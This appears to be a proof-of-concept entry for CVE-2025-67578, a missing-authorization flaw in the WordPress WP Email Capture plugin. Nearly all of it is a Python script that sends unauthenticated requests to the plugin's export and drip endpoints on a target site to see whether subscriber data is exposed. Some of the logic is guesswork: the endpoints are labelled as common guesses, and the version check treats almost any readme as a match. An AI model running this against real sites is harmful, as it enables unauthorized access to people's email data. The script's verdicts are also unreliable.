CVE-2025-67578 WordPress WP Email Capture插件缺失授权漏洞

# CVE-2025-67578 PoC - WP Email Capture Missing Authorization # Description: Unauthenticated access to privileged plugin functions # CVSS: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) import requests import sys TARGET_URL = "http://target-wordpress-site.com" PLUGIN_PATH = "/wp-content/plugins/wp-email-capture/" def check_vulnerability(): """Check if the WP Email Capture plugin is vulnerable""" print("[*] Testing CVE-2025-67578 - Missing Authorization in WP Email Capture") # Test 1: Check plugin version (if accessible) version_url = f"{TARGET_URL}{PLUGIN_PATH}readme.txt" try: resp = requests.get(version_url, timeout=10) if "3.12.4" in resp.text or "Stable tag:" in resp.text: print("[+] Plugin version detected - potentially vulnerable") except: pass # Test 2: Try to access admin functions without authentication # Common vulnerable endpoints in WP plugins vulnerable_endpoints = [ f"{TARGET_URL}{PLUGIN_PATH}inc/export.php", f"{TARGET_URL}{PLUGIN_PATH}inc/drip.php", f"{TARGET_URL}{PLUGIN_PATH}inc/export.php?action=export", f"{TARGET_URL}/wp-admin/admin-ajax.php?action=wp_email_capture_export" ] for endpoint in vulnerable_endpoints: try: resp = requests.get(endpoint, timeout=10) # Check if response indicates successful unauthorized access if resp.status_code == 200 and ("email" in resp.text.lower() or "export" in resp.text.lower()): print(f"[!] VULNERABLE: {endpoint}") print(f" Status: {resp.status_code}") print(f" Response length: {len(resp.text)} bytes") return True except Exception as e: continue print("[-] No obvious vulnerability indicators found") print("[*] Manual testing recommended - check plugin access controls") return False if __name__ == "__main__": check_vulnerability()